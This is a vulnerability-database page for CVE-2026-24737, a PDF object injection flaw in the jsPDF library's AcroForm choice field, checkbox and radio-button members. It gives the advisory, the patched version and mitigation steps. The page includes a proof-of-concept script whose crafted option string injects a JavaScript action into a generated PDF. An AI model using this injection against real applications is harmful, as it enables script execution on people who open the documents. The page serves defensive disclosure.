CVE-2026-24737 is a high-severity (CVSS 8.1) CWE-116 vulnerability in jspdf. A fix is available for jspdf — see the affected versions and patch details below.
jsPDF has a PDF Injection in AcroFormChoiceField which allows Arbitrary JavaScript Execution
Exploitation Status
No confirmed exploitation observed yet
- A successful exploit gives an attacker total control of the affected component, not partial access.
- CISA’s own triage has not observed active exploitation or public proof-of-concept code for this CVE as of its last assessment.
Exploitation and automatability from CISA’s SSVC triage for CVE-2026-24737.
EPSS Exploitation Probability
Probability of exploitation in the next 30 days, from FIRST.org EPSS.
How urgent is this, really
Where this sits among everything scored
Real-World Exposure
How broadly this vulnerability is actually deployed: weekly install volume shows current usage, and reverse-dependency count shows how many other packages break if it stays unpatched.
jspdfnpmDescription
Impact
User control of properties and methods of the Acroform module allows users to inject arbitrary PDF objects, such as JavaScript actions.
If given the possibility to pass unsanitized input to one of the following methods or properties, a user can inject arbitrary PDF objects, such as JavaScript actions, which are executed when the victim opens the document. The vulnerable API members are:
AcroformChoiceField.addOptionAcroformChoiceField.setOptionsAcroFormCheckBox.appearanceStateAcroFormRadioButton.appearanceState
Example attack vector:
import { jsPDF } from "jspdf"
const doc = new jsPDF();
var choiceField = new doc.AcroFormChoiceField();
choiceField.T = "VulnerableField";
choiceField.x = 20;
choiceField.y = 20;
choiceField.width = 100;
choiceField.height = 20;
// PAYLOAD:
// 1. Starts with "/" to bypass escaping.
// 2. "dummy]" closes the array.
// 3. "/AA" injects an Additional Action (Focus event).
// 4. "/JS" executes arbitrary JavaScript.
const payload = "/dummy] /AA << /Fo << /S /JavaScript /JS (app.alert('XSS')) >> >> /Garbage [";
choiceField.addOption(payload);
doc.addField(choiceField);
doc.save("test.pdf");
Patches
The vulnerability has been fixed in [email protected].
Workarounds
Sanitize user input before passing it to the vulnerable API members.
Credits
Research and fix: Ahmet Artuç
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 📦npm | jspdf | all versions | 4.1.0npm install jspdf@4.1.0 |
Affected Products
jspdfparallDetection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for jspdf, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update jspdf to 4.1.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-24737 is resolved across your whole dependency graph.
Workarounds
Stop passing untrusted input into the interpreter or shell: call the affected binary with an argument array rather than a composed command string, reject anything outside a strict allowlist of expected values, and run the component under an account that cannot reach beyond the work it legitimately does.
Fixing This On Your OS
If you run this on a Linux distribution, patch through your package manager against the distro's own security advisory below — it tracks the exact backported fix for your release, which can ship on a different timeline (and sometimes a different severity) than the upstream project.
This IMPORTANT vulnerability in jsPDF affects Red Hat Advanced Cluster Security (RHACS) where it could allow arbitrary JavaScript execution. The flaw occurs if an attacker provides a specially crafted PDF document containing injected JavaScript actions, and a victim subsequently opens this malicious document.…
To mitigate this vulnerability, avoid processing untrusted or unverified PDF documents with applications utilizing the jsPDF library. Ensure that any input provided to jsPDF's AcroForm methods and properties is properly sanitized to prevent the injection of arbitrary PDF objects and JavaScript actions. This operational control reduces the risk of arbitrary JavaScript execution.Source: Red Hat security advisory for CVE-2026-24737 (CC BY 4.0)
| Product | Fixed in | Advisory |
|---|---|---|
| Red Hat Advanced Cluster Security 4.8 | advanced-cluster-security/rhacs-main-rhel8:1773235880 | RHSA-2026:4466 |
| Red Hat Advanced Cluster Security 4.9 | advanced-cluster-security/rhacs-main-rhel8:1773235860 | RHSA-2026:4467 |
Frequently Asked Questions
Is CVE-2026-24737 in your dependencies?
Find it across npm, including transitive dependencies.